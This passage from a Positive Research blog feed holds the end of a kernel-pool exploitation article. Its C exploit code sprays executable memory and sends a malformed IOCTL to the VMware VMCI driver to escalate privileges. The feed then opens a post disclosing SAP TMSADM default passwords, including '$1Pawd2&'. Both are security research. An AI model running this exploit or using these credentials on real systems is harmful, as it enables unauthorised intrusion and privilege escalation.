&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Since PoolType flags have changed, and "In use flag" is now 0x2,&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;define an additional region for Win7:&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x04000000 - 0x06000000 - Standard chunk&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x14000000 - 0x16000000 - Quoted chunk&lt;/span&gt;
&lt;span style="color: dimgrey;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*/&lt;/span&gt;
            
            pShellSprayBufStd &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;VirtualAlloc&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LPVOID&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: green;"&gt;0xA000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MEM_COMMIT &lt;span style="color: #808030;"&gt;|&lt;/span&gt; MEM_RESERVE&lt;span style="color: #808030;"&gt;,&lt;/span&gt; PAGE_EXECUTE_READWRITE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            pShellSprayBufQtd &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;VirtualAlloc&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LPVOID&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: green;"&gt;0x1A000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MEM_COMMIT &lt;span style="color: #808030;"&gt;|&lt;/span&gt; MEM_RESERVE&lt;span style="color: #808030;"&gt;,&lt;/span&gt; PAGE_EXECUTE_READWRITE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            pShellSprayBufStd7 &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;VirtualAlloc&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LPVOID&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: green;"&gt;0x4000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MEM_COMMIT &lt;span style="color: #808030;"&gt;|&lt;/span&gt; MEM_RESERVE&lt;span style="color: #808030;"&gt;,&lt;/span&gt; PAGE_EXECUTE_READWRITE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            pShellSprayBufQtd7 &lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #400000;"&gt;VirtualAlloc&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #603000;"&gt;LPVOID&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: green;"&gt;0x14000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MEM_COMMIT &lt;span style="color: #808030;"&gt;|&lt;/span&gt; MEM_RESERVE&lt;span style="color: #808030;"&gt;,&lt;/span&gt; PAGE_EXECUTE_READWRITE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufQtd &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;|&lt;/span&gt;&lt;span style="color: #808030;"&gt;|&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufQtd &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;|&lt;/span&gt;&lt;span style="color: #808030;"&gt;|&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufQtd &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;|&lt;/span&gt;&lt;span style="color: #808030;"&gt;|&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufQtd &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\t&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[-] Unable to map the needed memory regions, please try running the app again&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                &lt;span style="color: #400000;"&gt;CloseHandle&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hVMCIDevice&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;

            InitFakeBuf&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufStd&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            InitFakeBuf&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufQtd&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            InitFakeBuf&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufStd7&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            InitFakeBuf&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufQtd7&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

            PlaceFakeObjects&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufStd&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x10000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            PlaceFakeObjects&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufQtd&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x10000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            PlaceFakeObjects&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufStd7&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x10000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            PlaceFakeObjects&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufQtd7&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x2000000&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x10000&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;SetThreadPriority&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetCurrentThread&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; THREAD_PRIORITY_TIME_CRITICAL&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; FALSE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: #400000;"&gt;SetThreadPriority&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetCurrentThread&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; THREAD_PRIORITY_HIGHEST&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;

            PoolSpray&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;DeviceIoControl&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hVMCIDevice&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: green;"&gt;0x8103208C&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; BadBuff&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;BadBuff&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; retBuf&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: maroon; font-weight: bold;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;retBuf&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #808030;"&gt;&amp;amp;&lt;/span&gt;dwRet&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt; &lt;span style="color: #808030;"&gt;=&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; TRUE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\t&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[!] If you don't see any BSOD, you're successful&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

                &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;b7 &lt;span style="color: #808030;"&gt;|&lt;/span&gt;&lt;span style="color: #808030;"&gt;|&lt;/span&gt; b8&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
                &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                    &lt;span style="color: #400000;"&gt;ResumeThread&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hSuspThread&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
                &lt;span style="color: purple;"&gt;}&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;
            &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[-] Not this time &lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;%d&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #400000;"&gt;GetLastError&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;

            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufStd &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: #400000;"&gt;VirtualFree&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufStd&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MEM_RELEASE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;

            &lt;span style="color: maroon; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufQtd &lt;span style="color: #808030;"&gt;!&lt;/span&gt;&lt;span style="color: #808030;"&gt;=&lt;/span&gt; &lt;span style="color: #7d0045;"&gt;NULL&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;
            &lt;span style="color: purple;"&gt;{&lt;/span&gt;
                &lt;span style="color: #400000;"&gt;VirtualFree&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;pShellSprayBufQtd&lt;span style="color: #808030;"&gt;,&lt;/span&gt; &lt;span style="color: #008c00;"&gt;0&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; MEM_RELEASE&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
            &lt;span style="color: purple;"&gt;}&lt;/span&gt;
        &lt;span style="color: purple;"&gt;}&lt;/span&gt;

        &lt;span style="color: #400000;"&gt;SetThreadPriority&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #400000;"&gt;GetCurrentThread&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: #808030;"&gt;,&lt;/span&gt; THREAD_PRIORITY_NORMAL&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

        &lt;span style="color: #400000;"&gt;CloseHandle&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hVMCIDevice&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;
    &lt;span style="color: maroon; font-weight: bold;"&gt;else&lt;/span&gt;
    &lt;span style="color: purple;"&gt;{&lt;/span&gt;
        &lt;span style="color: #603000;"&gt;printf&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #0000e6;"&gt;[-] Like I don't see vmware here&lt;/span&gt;&lt;span style="color: #0f69ff;"&gt;\n&lt;/span&gt;&lt;span style="color: maroon;"&gt;"&lt;/span&gt;&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
    &lt;span style="color: purple;"&gt;}&lt;/span&gt;

    &lt;span style="color: #400000;"&gt;CloseHandle&lt;/span&gt;&lt;span style="color: #808030;"&gt;(&lt;/span&gt;hProcessToElevate&lt;span style="color: #808030;"&gt;)&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;

    &lt;span style="color: maroon; font-weight: bold;"&gt;return&lt;/span&gt;&lt;span style="color: purple;"&gt;;&lt;/span&gt;
&lt;span style="color: purple;"&gt;}&lt;/span&gt;&lt;/pre&gt;
&lt;b&gt;References&lt;/b&gt;&lt;br /&gt;
[1] Tarjei Mandt. Kernel Pool Exploitation on Windows 7. Black Hat DC, 2011&lt;br /&gt;
[2] Nikita Tarakanov. Kernel Pool Overflow from Windows XP to Windows 8. ZeroNights, 2011&lt;br /&gt;
[3] Kostya Kortchinsky. Real world kernel pool exploitation. SyScan, 2008&lt;br /&gt;
[4] SoBeIt. How to exploit Windows kernel memory pool. X’con, 2005&lt;br /&gt;
 &lt;br /&gt;
&lt;div&gt;

&lt;b&gt;Video Demonstration:&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="344" src="http://www.youtube.com/embed/ZlXjtEpPU8E" width="459"&gt;&lt;/iframe&gt;
&lt;br /&gt;
&lt;br /&gt;

&lt;i&gt;Author: Artem Shishkin, Positive Research.&lt;/i&gt;&lt;/div&gt;
&lt;/div&gt;</description><link>http://blog.ptsecurity.com/2013/03/stars-aligners-how-to-kernel-pool.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-kanhqQ0f6ws/UTct9G0_X3I/AAAAAAAACkE/K0aomcJbodA/s72-c/1.png" height="72" width="72" /><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-399939858727664807</guid><pubDate>Fri, 22 Feb 2013 15:19:00 +0000</pubDate><atom:updated>2013-02-22T07:46:44.267-08:00</atom:updated><title>SAP Unknown Default Password for TMSADM</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div style="font: normal normal normal 14px/normal 'Lucida Grande'; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-CkVNGnBNDC4/USeLLdPg5cI/AAAAAAAAChA/qZunE0fgX6c/s1600/password.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="132" src="http://4.bp.blogspot.com/-CkVNGnBNDC4/USeLLdPg5cI/AAAAAAAAChA/qZunE0fgX6c/s200/password.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span class="Apple-style-span" style="color: #333333; font-family: 'Trebuchet MS', Trebuchet, sans-serif; line-height: 19px;"&gt;&lt;i&gt;Authors: Dmitry Gutsko, Positive Research&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: normal normal normal 14px/normal 'Lucida Grande'; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: left;"&gt;
&lt;span class="Apple-style-span" style="font-size: small;"&gt;SAP default passwords are nothing new. The top five default passwords are presented in many books and articles on security issues. One would hardly find anything new on this topic.&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span class="Apple-style-span" style="font-size: small;"&gt;Carrying out SAP security audit for a client, we came across an unknown password of the user TMSADM. The password was displayed by the system itself: during the default accounts analysis, the following results were obtained in the known report RSUSR003.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/--6M3WL-L_PE/USePivpYcqI/AAAAAAAAChI/pwmtImhtD54/s1600/sap_def1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="75" src="http://1.bp.blogspot.com/--6M3WL-L_PE/USePivpYcqI/AAAAAAAAChI/pwmtImhtD54/s640/sap_def1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The default password for &lt;b&gt;TMSADM&lt;/b&gt; — PASSWORD — really is well known, but this is the first time I have seen the password &lt;b&gt;$1Pawd2&amp;amp;&lt;/b&gt;. Let's sort it out...&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span class="Apple-style-span" style="font-size: small;"&gt;The first thing that comes to your mind is to search on the Internet. Google gives two references. The SAP website, six. None of them clarifies the matter: the mysterious password is mainly discovered in published fragments of the ABAP code.&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Apparently, we should look for the answers in the code. We open the source code of the report RSUSR003 and have no difficulty in finding the message we've seen on the screen before (message 028).&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-D9R3k7RDa2s/USeP2L8txPI/AAAAAAAAChQ/qPtSdU_XCGU/s1600/sap_def2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="160" src="http://2.bp.blogspot.com/-D9R3k7RDa2s/USeP2L8txPI/AAAAAAAAChQ/qPtSdU_XCGU/s640/sap_def2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
